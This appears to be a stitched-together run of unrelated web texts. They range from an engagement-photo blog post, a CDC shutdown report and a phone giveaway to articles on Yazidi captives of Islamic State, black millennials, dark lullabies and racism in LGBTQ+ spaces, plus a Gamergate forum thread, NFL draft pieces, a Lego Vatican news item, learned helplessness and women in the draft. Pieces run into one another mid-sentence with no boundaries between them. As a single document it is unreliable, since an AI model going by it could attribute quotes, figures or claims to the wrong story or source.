This has to be the cutest engagement “ring” I’ve ever seen. Nicky & I have known each other for a few years (she’s an awesome photographer and we met at school). She’s come along to photograph weddings as a second photographer and we got to know each other quite well during our many car rides to far off corners of Vancouver Island. We talked about our love lives, and I heard about Rob, her handsome boyfriend and their life together in the woods. Nicky is an animal lover and, since she’s not much of a jewelery person, she asked for a puppy instead of a ring. They adopted Fast Eddie from the Humane Society of Victoria, B.C.. Rob got down on one knee with Eddie and asked Nicky to marry him. They decided to make an official announcement after we did our photo shoot. Tower Point is where they often take Fast Eddie’s big brother Lanny, so it was the perfect setting for their engagement photos. Even though Fast Eddie was only adopted a week ago, he knew to stick close by for his portraits. I think I’m in love! Congratulations Nicky & Rob!Associated Press
By Betsy McKay
Better hope for no big outbreaks of hepatitis A, salmonella, or flu if the federal government shuts down.
A government shutdown will furlough 68% of staff – meaning 8,754 people — at the Centers for Disease Control and Prevention, according to a fiscal year 2014 “Contingency Staffing Plan for Operations in the Absence of Enacted Annual Appropriations” on the Department of Health and Human Services’ website.
That means no in-depth investigations to identify and link outbreaks that may be occurring simultaneously in multiple states, according to a CDC spokeswoman. While state public health investigators may detect outbreaks on their own territory, “we won’t be doing the cross-state consultation and laboratory work to link outbreaks that might cross state borders,” such as a hepatitis A outbreak earlier this year that sickened 162 people in 10 states, spokeswoman Barbara Reynolds said in an email. The CDC investigation helped link the infections to pomegranate seeds from Turkey…Congratulations to Daniel Ochoa from Miami Beach, Florida winner of the Samsung Galaxy S6 Edge!
Have you been wanting to get your hands on a Samsung Galaxy S6 Edge? Thanks to our friends over at Opera, we are giving one lucky reader a Samsung Galaxy S6 Edge 32GB in our latest giveaway. This is an international giveaway, so as long as we can ship to your country, you can win. The Galaxy S6 Edge is a revolutionary device, with a display that wraps around both the left and right side of the device. It also has a fingerprint scanner in the home button along with an Exynos 7420 octa-core 64-bit processor inside. Samsung paired that with 3GB of RAM and up to 128GB of non-removable storage. It also features a 2,600 mAh battery inside. Samsung also went premium this time around, bringing us glass and aluminum to give the Galaxy S6 Edge the beautiful design it has.
Opera has been a part of our lives for years now, by offering one of the best web browsers available on Desktops and now great mobile browsers like Opera and |
they want with,” Isaac told MEE.
“They take Yazidi girls, break them down, indoctrinate them,” she said. “They want to see … Yazidis vanish completely. If the girl refuses, the torture and abuse increases. Some die trying to escape.”
One year since Mosul fell to the militants, the true number of those rounded up in the IS advance remains unclear. Estimates vary from 3-5,000 captives. According to Isaac, Kurdish officials care for 1,270 people who have escaped from IS clutches.
Isaac’s revelations adds to evidence from Zainab Bangura, the UN envoy on sexual violence in conflict, who told MEE last month how IS is “institutionalising sexual violence” with widespread rape after her own visit to the region.
According to Bangura, one woman was traded 22 times; another had a sheikh’s name inscribed on her hand to mark his property. A Saudi fighter set alight a 20-year-old Yazidi slave after she refused to perform “extreme sexual acts” with him, she said.
The US leads a coalition of states carrying out airstrikes on IS targets, while Kurdish, Iraqi and other forces battle them on the ground. On Wednesday, US President Barack Obama announced plans to deploy 450 more American non-combat troops to Iraq.
But for Isaac, military tactics are not enough. During meetings with UN ambassadors this week, she called for a UN task force to establish official numbers of enslaved women and advance efforts to free and buy back IS captives.
“The United Nations was created for a crisis like this. It’s our time to stand and ask the international community to help rescue our girls that are still in the hands of IS today,” she told MEE.I have a timer set on my phone. It counts how often I hear the words "millennial" or "Generation Y'er" with some sweeping crass generalization about how awful people my age are. It is coupled of course with photos, of some Instagram-lit, tattooed, white manic-pixie dream girl and her alt-rock flannel boyfriend. The chances of the poster children looking like me (fat, and unambiguously black) hover between not-in-the-slightest and Christmas miracle. Rhetoric that comes anywhere close to talking about my life is even less common.
It’s easy to to make fun of the entitled, selfie-taking stereotype. In reality those of us born between 1980 and 2009 are a diverse group, who have had extraordinarily different experiences growing up. The lack of engagement with race, class, regional, political and immigration issues in journalism about millennials does us all a disservice by dodging the serious questions of what our coming of age means for the future of America.
Advertisement:
Our generation has been a media focus for years. The Chronicle of Higher Education’s 2009 article “Millennium Muddle” highlights the problem beautifully, if unintentionally. In an entire article about this burgeoning analytic framework, only one of the academics, Fred A. Bonner II, challenges the assumption that all millennials are coddled and indulged.
But as a first-generation everything and a black millennial, I respond to the laser focus on the indulged and underperforming with a special fury. As blogger Trudy of Gradient Lair points out, education and hard work have always been hailed as the panacea for all our ills. Even more infuriating is that as recently as 2002, in the book "Microtrends," Mark Penn pointed out that a large percentage of black teens (I was 18 that year) were hard-working, high-achieving volunteers. He also cited the 40% home ownership rate as one of the fundaments of the rise of black wealth. Post-housing crisis, with its racially targeted loans that torpedoed our economy, how much of that was wiped out and has yet to be recovered? With half (or less) of the support white middle-class young people got, we rose to the challenge and got hosed anyway.
Today the millennial is a variant of the idea of the indulged hipster. The kids of "Girls," of Williamsburg, underacheivers and snotty art kids living indulged shiftless lives; the comedy of artisan this, microbrewed that and bad service blah blah. Schooled and reared in Brooklyn and Queens, I now find the places where I grew up and went to school priced far beyond my means and those of the communities that sustained me. When Brooklyn experiences a “ renaissance,” the Hassidic, Latino and West Indian communities that made it get moved out. And their kids -- yes, also millennials -- can’t afford to live there.
All of this, and still we are seen as complacent go-along-to-get-along layabouts. Our education, housing, healthcare and sexual autonomy are all in jeopardy and the constant refrain is, “Well, do something.” Yes, Occupy happened. But I want to ask anyone who thinks millennials are lazy: Why aren’t people like the Dream campaigners part of the moment? Why aren’t the marches for Trayvon Martin and The Dream Defenders part of it? Millennials have met these challenges with protests, marches, and yes, cross-generational organizing. We're fighting redistricting, police violence and voting rights challenges that hinder the very moment we’re supposed to seize. “Dirty hippies” and disadvantaged citizens, however, aren’t the best and brightest, so their struggles to secure the dream we were promised and the rights we were guaranteed don’t play as well in London or New York.
And while we're supposedly being indulged at every turn, just getting an education has been a constant battle. I'm an early millennial, born in 1984, and when I started my education, I was able to attend a classroom that had gifted and special-ed programming in my neighborhood with an average class size of 20. Current millennials in Chicago, Detroit and Philadelphia are having sit-ins and organizing unions, as their schools are closed with class sizes of 29 called too small. When children are left crying at the end of the year because their schools won't reopen, what part of that experience tells them they are coddled and special? What does it say about America when its major urban centers would rather build stadiums than educate their future voters? What more does it say that it would rather point and laugh at the kids with stable high school educations and college possibilities who point cameras at their faces than talk about the ones who are trying desperately to graduate from schools that are more concerned with test scores than educating kids?
If you managed that hurdle and got to college, crushing debt is your new friend. Part of my educational journey was an elite feeder program into the independent schools of New York City and into an Ivy League university. As a first generation American from a working-class background, and first in my family to graduate from college, helicopter parents would have been useful. I’m at the low end of the college debt spectrum with just over $30,000. Thankfully my college eliminated loans... one year after I graduated. And that’s me as a documented individual. Dreamers? Had to march and protest for citizenship rights, without which they were denied benefits like in-state tuition and jobs. An engineering masters but fixing roofs? Yeah, that's coddled.
Advertisement:
Once we get out, we are in an intern economy, where the price of entry is having a background that can support you while you get no pay for your work (and, incidentally, no sexual assault protection). Sarah Kenzidor has pointed out brilliantly the price of this economy in an ongoing series for Al Jazeera. Add the continual cases of employment discrimination, the insularity of job acquisition and the casual racism of applications, and focusing on those exasperated by having to work rather than those who desperately want to work and can’t starts to seem more criminal than informative.
The real story of millennials should be an examination of the startling inequalities both between and within generations. The millennial model doesn’t even fit white able-bodied people, who are working and struggling to make less than ever before. It instead becomes a brilliant example of a collective neglect of the chasm of race and class. A diverse generation, with multiple influences and experiences, is coping with a government that would shut down rather than give us the healthcare options it passed into law, and a job market where opportunities are auctioned off to the highest bidder. The story of how we got here, which many of us are trying to tell, could change the world.
Every time that alarm goes off, I’m sure it’s not about me. I got the message and I’m not alone. The millennials that matter have had lives shaped by a focus on their every move, at the expense of real analysis of the issues that affect them. With that kind of unadulterated attention, even if it’s negative, why wouldn’t we adore “selfies?” We can make fun of the pictures, but in the end America's obsession with them says more about the country's blind spots than it says about us.
Advertisement:
This piece is the latest in a series by feminists of color, curated by Roxane Gay. To submit to the series, email [email protected] the 1920s, the poet Federico García Lorca heard a woman in Granada sing a lullaby to her child and was struck by the acute sadness of the song. In a lecture delivered in Madrid in 1928, he observed that the country’s “saddest melodies and most melancholy texts” are contained in these so-called cradle songs. “Spain possesses joyous songs, jokes, jests … Why then has Spain reserved the most potent songs of blood to lull its children to sleep, those least suited to their delicate sensibilities?”
Lorca’s lecture, “On Lullabies,” focused specifically on lullabies in Spain, a country, in his words, of dead stones and soulful landscapes, “dashing its head against the walls.” But sad lullabies are hardly unique to that country.
Judging by lyrics alone, the lionshare of lullabies are not sweet and soothing; they are dark and creepy and macabre. There’s an Italian lullaby about a wolf devouring a lamb until “the skin and horns and nothing else remain.” An Andalusian lullaby about a rider who “led his horse to water but would not let him drink.” And a Turkish lullaby about a mother mourning her baby after an eagle has torn it to pieces, karmic punishment when the father fails to fulfill his vow of sacrificing three camels.
Here in America, there’s “Hush Little Baby” with its broken mirrors, fallen horses and mockingbirds that won’t sing. “Rock-a-Bye Baby” ends with an uncertain prognosis — death? injury? — after a cradle containing a baby plummets from a treetop. And, of course, “You are My Sunshine,” the saddest song ever.
So why are so many lullabies about death, despair and loss? And as it relates to their primary function — to lull the child to sleep — does it matter?
Music as Medicine
A lullaby, or cradle song, is defined by Merriam-Webster as just that: “a song to quiet children or lull them to sleep … a soothing refrain.” Any song can serve as a lullaby, says ethnomusicologist and UCLA lecturer Andrew Pettit, provided it is sufficiently slow and rhythmic. There are the songs that are composed specifically as lullabies, he says, and then there are “functional lullabies,” songs that are altered to serve that purpose.
People have said that lullabies are the space to sing the unsung, a place to say the unsayable. You’re alone. Nobody is listening, and you can express the feelings that are not okay to express in society.
“You can take any song, slow it down and sing it to your kid to help them sleep,” said Pettit, whose research has focused on lullabies from India. When his own daughter was an infant, for example, he sang the cowboy ballad “I Ride an Old Paint,” made famous by Woodie Guthrie and Pete Seeger.
Research has shown that lullabies, when used right, can soothe and possibly even help to heal an infant.
A study published in the journal Pediatrics in April 2013 found that live lullabies slowed infant heart rate, improved sucking behaviors that are critical for feeding, increased periods of “quiet alertness” and helped the babies sleep. Researchers followed 272 premature infants in 11 hospitals and found that the music, provided by a certified music therapist, offered stress relief for the parents too. The study concluded that “lullabies, sung live, can enhance bonding, thus decreasing the stress parents associate with premature infant care.”
Lullabies have also been studied as a form of pain relief. Dr. Mark Tramo, a UCLA neurologist and lecturer at the university’s Herb Alpert School of Music, performed a pilot study, also on preterm babies in the neonatal unit. He played lullabies to infants recovering from a painful heel stick procedure used to draw blood. His results suggested that music helped to slow the babies’ heart rates and thus reduce stress, but the study sample was too small to be definitive. He hopes to replicate the study in a larger population to learn more about the power of this effect.
“From a basic science standpoint, we want to know how music affects heart rate,” Tramo said. “But from a clinical standpoint, we want to know if music can prevent heart rate from going into the danger zone.”
As early as the 24th week of pregnancy, babies can hear a range of frequencies that include the human voice and most classical musical instruments, said Sally Goddard Blythe, director of the Institute for Neuro-Physiological Psychology and an expert in early child development. The mother’s voice “is particularly powerful because it resonates internally and externally, her body acting as the sounding board,” she wrote in her book, “The Genius of Natural Childhood.” “Both before and after birth, a mother’s voice provides a connection between respiration, sound and movement, an acoustic link from life and communication before birth – to the brave new world after birth.”
Explaining the Dark Lullaby
It is that voice and the rhythm and melody of the music that the youngest babies respond to, not the content of the song. Is it the case then, that the words are as much for the parent as for the child? That the mother is singing as much to herself as to the baby? Lyrics to lullabies, Pettit said, can indeed be interpreted as a reflection of the caregiver’s emotions.
There is a special physical bond between mother and child in the first year of life, in which mothers feel they can sing to their child about their own fears and anxieties, but in the safety and comfort of physical togetherness.
“People have said that lullabies are the space to sing the unsung,” Pettit said. “A place to say the unsayable. You’re alone. Nobody is listening, and you can express the feelings that are not okay to express in society.”
Driving this may be the closeness between the caregiver and child.
“There is a special physical bond between mother and child in the first year of life, in which mothers feel they can sing to their child about their own fears and anxieties, but in the safety and comfort of physical togetherness,” Blythe said.
In particular, lullabies embody a mother’s fear of loss, said Joanne Loewy, lead author of the April 2013 study in Pediatrics and director of the Louis Armstrong Center for Music and Medicine at Mount Sinai Beth Israel hospital in New York.
“This makes sense as the first infant/toddler years of life are fragile ones.” “Rock-a-Bye Baby”, for example, represents the common fear of crib death, Loewy said.
She compares it to breaking the glass at a Jewish wedding, a ritual that “portrays the sacredness of love that can easily be shattered, if not docked and cradled.”
In ancient Babylon, lullabies were used as magical charms, meant to protect sleeping babies. But darkness pervaded across cultures and centuries, with lullabies expressing fears directly or metaphorically about absent fathers, injured, sick or lost children, domestic abuse and unhappy lives. A gender divide was common in Indian folk lullabies, which celebrated boys, often predicting a wealthy and glorious future, while preparing girls for a life of hardship, Pettit said. But as the inequality gap between genders has narrowed in modern India, he added, recent lullabies have changed to reflect that.
In Spain in Lorca’s time, the most widespread group of cradle songs placed the child as “the sole actor in his own lullaby,” and in the lyrics, he was poor or his mother was missing or was not his mother. In response to such songs, children would cry, kick or protest, Lorca wrote.
“There is no… attempt to threaten, frighten or construct a scene,” Lorca said, “only to thrust the child into the song, alone and unarmed, a little knight defenseless against his mother’s reality.”
In an essay published in 1974, the late folk artist and researcher Bess Lomax Hawes had a similar observation about American lullabies. The most characteristic quality, she wrote, is the “spatial isolation” of the baby. In every traditional American lullaby, caregivers are somewhere else: hunting, for example, or out watching sheep or shaking dreamland trees.
“Baby, meanwhile, is up in a tree, or sailing off in a boat made out of the moon, or driving away with his ‘pretty little horses.’ When he does sleep, he is described as being in a place called ‘dreamland’ which, wherever it is, clearly isn’t his own bed; and he is variously requested or ordered to take himself to that ‘land of Nod’ by the linguistic convention that requires English speakers to ‘go to sleep.’”
The isolation of the child defines these lullabies, she wrote, suggesting that the line: “When the bough breaks, the cradle will fall,” is simply a reference to closing the bedroom door. The context is a culture that values independence and strength in its children. But the tradeoff is the separation strain experienced by the postpartum mother.
The American lullaby then, is a mother’s conversation with herself about separation, Hawes concluded: “And, as such, one of its most profoundly supportive functions is to make the inevitable and inexorable payment of our social dues just a little less personally painful.”
“I always found myself that rocking a baby to sleep was kind of a sad thing to do,” she wrote. “Not miserable or tragic or irksome — just a little bit sad, somehow.”
This post was updated to add a quote from Joanne Loewy, director of the Louis Armstrong Center for Music and Medicine.”
BONUS: Don’t miss this R-rated parody of a lullaby by comedian and composer Tim Minchin. Note: this one’s not for children.Standing under the neon blue lights that warm the outer perimeters of a nightclub could be a person suffering with internal conflict. A girl with curly hair, yet pale, ivory skin, may wonder whether people are aware that her father is a British-Caribbean man when they ask to touch her afro, which they insist is “like black people hair.”
Another patron, alone with his thoughts, perhaps mesmerised by the neutral hum of the buzzing cyan lettering above his head that reads “SAFE SPACE, NO HATE”. In his trance, he would loudly yearn for the same neutrality as he looks at his ethnic and Caucasian brethren dancing separately on the dance floor.
Whether they be he, she or they, the “mixed race” racial identity is no less visible than the flashing lights in a gay bar, but somehow is less acknowledged. Those who “pass for white” have assumptions made about their ethnic backgrounds; and those who are visibly non-white may feel that their appearance is so rarely represented in the media that their features become fetishised. LGBTQ+ spaces are supposed to be safe, no judgement zones, though in recent years there are noticeable racial biases that are being called out and shaping the experiences of some.
Racism
One may wander countless online dating apps and find racist ideologies embedded in the online bios of the LGBTQ+; “no fats, no femmes, no Asians” is one of the more commonly encountered specifications. People within LGBTQ+ spheres often have no qualms in determining and displaying their preferences when it comes to finding a sexual partner. However, this fad only seems to be announced from behind a screen, as people often fear their preference can be interpreted as racism.
Matthew Cooper, 22, a student from Oakham in the East Midlands, said: “As a white gay man, I encourage people to realise that if you prefer white skin over all others, it shows how you perceive people of colour. Much of the gay community categorically rules out entire races.”
But, when these preferences take the form of a “mixed-race” person, one who is connected to white heritage, it seems that the hate takes a halt and the barrier for word vomit is taken down. People spew prejudice rhetoric as though it is complimentary, making note of “attractive ‘black features’”. In turn, this means that when a person of ambiguous ethnicity enters an LGBTQ+ space, they may be treated without sensitivity and regarded as a sexual object.
Suggestions regarding my lips and supposed heightened ability to perform oral sex were incoherently linked together
I am one of a group of people who find themselves frequently confused and anxious because of the treatment of people of colour in large cities where LGBTQ+ groups lack many mixed-race members. In a school in Hull, I navigated and dodged insults that flew through corridors in their flocks. “Gay boy” and “p*ki”, were but a few assumptive insults. Escaping these environments to find identity within the gay community – at the same neon blue club – was a blessing, though my experiences often felt unsettling. And, while the following encounters are not exclusive to the gay community, highlighting issues within supposed safe spaces is the ultimate goal.
Otis (left) with his brother Arron, growing up in Hull
As a gay, “mixed-race” man, my experiences on Grindr were often brutishly and unapologetically racist; men would compliment me on my skin tone, big lips and curly hair in a sexual manner. The community welcomed my differing identity with open arms, but when these men were alone, they dished out inappropriate comments like firing shots. Suggestions regarding my lips and supposed heightened ability to perform oral sex were incoherently linked together despite the lack of correlation. Often, this would be followed up with the proposition that we make “mixed-race babies together” – another example of the fetishisation of the “mixed” figure. Though not directly offensive in its declaration, flirtatious whisperings aimed at “mixed-race” LGBTQ+ people are seldom considered to be complimentary by the recipients of such messages.
Aaron Mountford-Myles, 30, a finance application analyst in Manchester, said: “[My eyes have opened] to institutionalised racism. Casual remarks which I used to ignore are not as funny anymore.”
Does my worth increase if you label me white in a reassuring tone?
If not sexual in the approach, assumptions have often been made. A date over wine was further intoxicated as I was told “but, you’re basically white” because my skin tone is lighter than most. Does it matter? Does my worth increase if you label me white in a reassuring tone? It seems strange that such an accepting environment, one which has fought against prejudice, remains problematic in its approach to difference.
Identity
Similarly to the white feminist movement, which has been called out by high-profile celebrities (see the Nicki Minaj v Taylor Swift feud of 2015), the white LGBTQ+ group is an influential group which has, in my case, caused issues. Though for some, the experience has been much more positive. I spoke to more LGBTQ+ people of colour to get a full-picture of their experiences in predominantly white, UK, LGBTQ+ cultures.
Jacob Gardner, 22, a volunteer from Wakefield, said: “As a mixed-race gay man, my experience within the LGBTQ+ community has not been dependent on my race. It has been mainly positive, but I would be lying if I said that I have not experienced a racial bias for or against people of colour.
“I have encountered gays who are less attracted to guys of colour. I have encountered gays who are more attracted to guys of colour [which] I guess works in my favour.”
On the topic of inappropriate comments made in online dating spaces, Jacob notes that many of the sexual stereotypes actually exist outside of LGBTQ+ groups: “I have been asked [about the size of my penis] more times than I would have liked. However, this stereotype stems beyond the gay community.”
Contrary to these instances, Jacob believes his racial identity is not an issue: “But, I have never felt that the colour of my skin has ever been negatively used against me. I have been able to be myself without prejudice from either fellow gays or lesbians.”
However, this is not always the case.
Ashley Bailey, 23, a retail customer assistant from Leeds, said: “Being mixed race makes you stand out more.”
They would ask about my genitalia, size and ask for pictures
As she continues, Ashley notes that while standing out can be a good thing, it may often draw unwanted attention: “I’m a transgender female, and I used to use Tinder. [I didn’t know any of the] guys in person, but they would mention the fact that I’m black. They would ask about my genitalia, size and ask for pictures. [I’ve had people] comment on my ‘black girl booty’. It’s gross and weird and way too personal.
“I’m not sure if it’s because I’m transgender or how I look, but I get this daily.”
The unfortunate reality of being a person of colour in the LGBTQ+ community is that there is always an over-sexualisation of appearance. The non-white figure is often unwanted or intended for only sexual purposes. Though the community may welcome us through their doors, the experiences of these PoC, and those of myself, show an unfortunate difference in treatment to that of white people. The “mixed-race” and PoC body must be respected and understood, rather than treated like an exotic sexual endeavour, which is why there is still progress to be made in these spaces.Quote: Colonel Levnekov Originally Posted by http://www.alternatehistory.com/disc...&postcount=390
This is the mass banning post from about a year ago.
I think Ian sums it up well. This is the mass banning post from about a year ago.I think Ian sums it up well.
a)Gamergate primarily goes after feminist women for being feminists too an excessive degree, and doesn't apply that level of scrutiny to people who aren't feminist women.
b)That criminal harassment occurs with the blessing of Gamergate against women for speaking out.
c)That people who feel Gamergate has "some or other piece" that's valid should be condemning the "storm of hatred" apparently making up all the rest or they're misogynistic cowards?
I have a few questions about this.
1. What about Gamergate's stated purpose- dodgy games journalism- and efforts to draw attention to it?
2. Specific examples of this "witch burning" persecution and against who?
3. What criminal harassment, by who against who, and what evidence is there that Gamergate condones or conducts it?
4. Why are people obligated to condemn Gamergate as a whole if they agree with a specific tenet? If points a) and b), see previous questions.
5. If that "some or other piece" is potentially valid- as the point in Ian's post seems to imply- isn't that worth talking about? Why is that ban-worthy?
Quote: Kung Fucious Originally Posted by #NotYourShield was literally started by 4chan as a misinformation campaign, the "ethics in gaming journalism" was likewise started as a smokescreen, once they realized that attacking Zoe Quinn for her sex life wasn't catching on, and Christina Hoff Summers is a right wing activist who, along with Milo Yiannopoulos, Adam Baldwin, and a handful of others attached themselves to the (already misogynistic movement) in order to use it for their own reactionary ends.
At this point, the things been going on for a year, if you're still repeating the line that the movement has some kind of legitimacy you're either deeply stupid/gullible, willfully ignorant, or agree with what they're doing (either in part or in whole).
https://medium.com/@cainejw/factual-...d-3948fa6e2334
It doesn't seem to support the claim. Another, biased account by one of the participants:
And wasn't the origin of "ethics in gaming journalism" a product of a)perceived lack of transparency by writers with the origin of the Quinn fiasco all but falling to the wayside, b)the timing of the "Gamers are Dead" articles?
http://mangotron.com/pro-vs-anti-gam...wo-interviews/
Point 6 of the Pro side is probably what bugs me the most about this whole thing- if you're not going to be able to argue with someone to debunk their claim, what does that say about your own POV? If I'm reading this correctly, the arguments being made there are thata)Gamergate primarily goes after feminist women for being feminists too an excessive degree, and doesn't apply that level of scrutiny to people who aren't feminist women.b)That criminal harassment occurs with the blessing of Gamergate against women for speaking out.c)That people who feel Gamergate has "some or other piece" that's valid should be condemning the "storm of hatred" apparently making up all the rest or they're misogynistic cowards?I have a few questions about this.1. What about Gamergate's stated purpose- dodgy games journalism- and efforts to draw attention to it?2. Specific examples of this "witch burning" persecution and against who?3. What criminal harassment, by who against who, and what evidence is there that Gamergate condones or conducts it?4. Why are people obligated to condemn Gamergate as a whole if they agree with a specific tenet? If points a) and b), see previous questions.5. If that "some or other piece" is potentially valid- as the point in Ian's post seems to imply- isn't that worth talking about? Why is that ban-worthy?And your thoughts on this?It doesn't seem to support the claim. Another, biased account by one of the participants: http://jmillerworks.com/2015/07/27/b...ocial-justice/ And wasn't the origin of "ethics in gaming journalism" a product of a)perceived lack of transparency by writers with the origin of the Quinn fiasco all but falling to the wayside, b)the timing of the "Gamers are Dead" articles?Point 6 of the Pro side is probably what bugs me the most about this whole thing- if you're not going to be able to argue with someone to debunk their claim, what does that say about your own POV? Last edited by Ugolino; November 3rd, 2015 at 02:27 AM..1 of 8
Courtesy Kyle Sloter
Kyle Sloter has dealt with bad luck throughout his college career, so he was not surprised when Mother Earth herself turned against him at Northern Colorado's pro day.
"We had 45 miles-per-hour winds," he recalled in an interview with B/R. "The [timing] lasers kept getting knocked over."
Sloter and his former teammates had to move indoors, where he worked out on a basketball court in borrowed sneakers. Those aren't exactly scouting-combine conditions, and Sloter had a disappointing workout.
But when Sloter later attended Colorado's pro day, he was told he could not re-run his 40 or other drills, because he was already in the database for the indoor debacle.
Luckily, Sloter was permitted to throw in front of the scouts in Boulder.
"All 32 teams were there, and he lit it up," Sloter's trainer, longtime NFL offensive coordinator Steve Fairchild, said to B/R.
"I'm used to adversity at this point," Sloter said. "You just gotta fight through it."
Sloter has spent more time battling fate than opponents during his college career. Recruited as a quarterback at Southern Mississippi, he switched to wide receiver when a coaching change buried him on the depth chart.
A system change took away his slot receiver role. Sloter tried playing tight end, then transferred to Northern Colorado in search of a quarterback opportunity. Except that many of Sloter's college credits didn't transfer, forcing him to miss parts of spring practices so he could complete courses and an internship. Sloter started the 2016 season as a backup quarterback in the Big Sky Conference.
Injuries pushed Sloter into the starting lineup, where he threw 29 touchdown passes in 2016. But it's no mystery why Sloter, despite a 6'4" frame and 4.5-second speed when not sliding around on hardwood, fell short of even the most thorough prospect lists.
"I saw draft charts where there were 250 quarterbacks listed, and he wasn't one of them," Fairchild said.
That was before Fairchild tightened Sloter's delivery and unleashed him on scouts at Colorado. But Fairchild stressed that Sloter, whose Northern Colorado offense is more NFL-like than most of the ones we watch on autumn Saturdays, is much more than a big athlete who had a good workout.
"He can make every throw," Fairchild said. "He did it in on the pro day. He's shown he can do it off pocket movement. It's not just take five steps, set and throw to your primary. He can readjust his target line, his launch point."
Working in an NFL-friendly system helps, too.
"He's been under center," Fairchild said. "He's had to drop back. He changes protections. I'm not saying he's NFL-ready, but he's a lot further down the path than some of these guys."
Sloter is no longer being left out of top 250s. He's getting late-round grades from teams and appearing on some top-20 QB lists.
"It's exciting to see myself up there," Sloter said. "But I wouldn't short-change myself either. I believe I deserve to be higher."
"In the end, I'll have some proving to do, and I'll do just that."By Hadas Kuznits
PHILADELPHIA (CBS) — As a segue between the Franklin Institute’s Art of the Brick exhibit and their Vatican Splendors exhibit, the museum now has a huge Lego replica of the Vatican on display in their atrium.
Father Bob Simon is a priest who dabbled in Legos. He recently completed a replica of The Vatican, now on display at the Franklin Institute.
“I think there’s about half a million pieces in it,” Father Simon says. “I’m not sure. I think there are about 44,000 cobblestones of the square, 6,000 round bricks that make up the colonnade and under the little cobblestones, there’s 12,000 2×2 tiles that are under there. I knew if I was going to build the Vatican, it had to be big!”
The project took him ten months to build.
“There was one photo in particular, it was a cover, a book jacket of a book I had that had a great picture of the facade,” he says. “I used that for doing the facade and I used Google Earth, as well.”
Father Simon says it’s a dream to have his work displayed in Philadelphia during the visit of Pope Francis.Internal blaming - "It's me!" Global distortion - "It'll affect everything I do!" Stability generalization - "It will last forever!"
Parents/caretakers play major roles in whether or not a child develops learned helplessness. Learned helplessness can develop early in one's life. Therefore, adults need to be aware of how their type of criticism they use will affect children.
If adults are continually using negative criticism, the child will eventually have low self-esteem and will come to a point to want to give up trying. This can lead to the child having negative viewpoints throughout his/her life.
The type of reinforcement given to the child by the caregiver can determine whether or not the child will develop learned helplessness as a coping mechanism for everyday life events. The child will eventually feel he/she has no control over these events.
Heyman, Dweck and Cain confirm the influence of constant negative criticism on children by revealing how young children in their study assumed when they were receiving negative criticism they must have been "bad" children. Therefore, the children felt they were deserving of such negative criticism.
But, researchers claim as a child gets older the child feels the negative criticism is based on their lack of abilities, not based on if they were "good" or "bad." This study cites that children who have a secure attachment will demonstrate positive self-evaluations whereas children who don't have this positive attachment will demonstrate negative self-evaluations.
Learned helplessness can develop in any stage of one's life, not just childhood - it affects behavioral, cognitive and affective domains at the same time.
When a person is wanting to give up or has a continuous habit of putting things off, this is learned helplessness affecting his/her behavioral domain. A person's self-esteem will be low and feeling of frustration will be high. With these effects a person's ability to solve problems will be very low due to the fact that the person has no confidence in themselves.
These factors affect the cognitive domain. The affective domain is when a person will show signs of depression. When one fails, the blame will be that person's lack of abilities and when one succeeds this will be due to "luck."
Also, a characteristic of a person with learned helplessness is low self-esteem. Low self-esteem will decrease one's confidence in trying to change negative things that are going on in one's life. When a person with learned helplessness experiences success he / she will make themselves and others believe it was due to "luck" and not based on ones' own abilities.
This pessimistic explanatory way of dealing with events can affect a person's job performance and a student's academic performance which can eventually lead to wanting to give up. As stated earlier, learned helplessness can develop at any age.
Learned helplessness can be seen when comparing depressed elderly women and non-depressed elderly women (65-96 years) on successes and failures. The non-depressed women would describe their success due to positive reasons such as, their success was due to their own abilities. Whereas, the depressed women would use more of a negative reason by saying their success was due to "luck" and not based on personal abilities.
When it came to explaining failures, the non-de |
>> 9, DeAndre Hopkins, wide receiver, Houston (first round, No. 27 overall, 2013). It’s really a bit unfair to single out Hopkins here, even though he’s clearly a stud with 317 receptions, 4,487 yards and 23 touchdowns in four years. The fact is he was just one of four Pro Bowlers selected in the seven slots immediately after Grigson whiffed on Bjoern Werner at No. 24 overall. The others? Cornerback Xavier Rhodes (Minnesota), wide receiver/kick returner Cordarrelle Patterson (Minnesota) and center Travis Frederick (Dallas).
>> 5, Landon Collins, safety, New York Giants (second round, No. 33 overall, 2015). This one will sting the Colts for a long time, because this was a rare confluence of need and talent and instead they fell in love with the stopwatch and drafted Phillip Dorsett at No. 29. While Dorsett has given the Colts little in two years, Collins has emerged as one of the best safeties in the NFL, a defensive player of the year candidate this season with five interceptions, four sacks and 13 passes defended.
Imagine how differently the dominoes could’ve fallen for the Colts. Take Hopkins in 2013 and they wouldn’t need Moncrief or Dorsett in subsequent drafts, thus the paths would’ve been cleared for Turner and Collins. Take Collins in 2015 and the Colts wouldn’t be compelled to invest two subsequent picks at safety on Clayton Geathers and Green, thus other needs could’ve been filled.
This is how, after five years of “building,” the Colts are an 8-8 team with a pedestrian roster and an uncertain future. No one expects a GM to hit on every pick, but Grigson has consistently missed on elite talent, year after year.House Armed Services Committee Chairman Rep. Mac Thornberry (R-Tex.) will attempt to replace language on women in the draft with an amendment to the annual defense policy bill. (Octav Ganea, Mediafax/AP)
The chairman of the House Armed Services Committee this week will try to strip language from legislation he oversees that would require women to register for the draft, blaming himself for not stopping the proposal from getting in the bill in the first place.
Rep. Mac Thornberry (R-Tex.) on Monday said he “didn’t probably do everything I should have” to keep an amendment from Rep. Duncan Hunter (R-Calif.) that would enact the policy change from being added to the annual defense policy bill when it was considered by his committee.
The success of the amendment surprised many GOP members and even Hunter voted against his own proposal. Hunter said he only offered it to start a “discussion” about the Obama administration’s recent decision to allow women to serve in any combat role, a policy change he opposes. The Pentagon has not taken a position on Hunter’s amendment but top military officials have supported the idea of including women in the draft during congressional testimony.
[Pentagon: Opening combat roles to women alters ‘factual backdrop’ in keeping them out of the draft]
Thornberry voted against Hunter’s amendment too, but since the committee adopted the proposal last month the idea of including women in the draft has only picked up steam, earning the endorsement of the Senate Armed Services Committee last week as well.
[Key Senate panel endorses women in the draft, making policy change more likely]
Thornberry told a Washington Post editorial board meeting on Monday that when the annual defense policy bill comes to the floor this week he will offer an amendment that would strip Hunter’s language because members “haven’t had a chance to look at this.”
Hunter’s amendment seeks to replace the language requiring women to register for the draft with a proposal to commission a study examining the role and usefulness of the Selective Service.
“I still believe that we need to step back and take a broader look at whether we need it or not before ever get into who is involved,” he said.
But in order to give the full House a chance to vote on the matter, Republican leaders will have to go through a few procedural calisthenics because it could run afoul of the chamber’s rules regarding the cost of legislation.
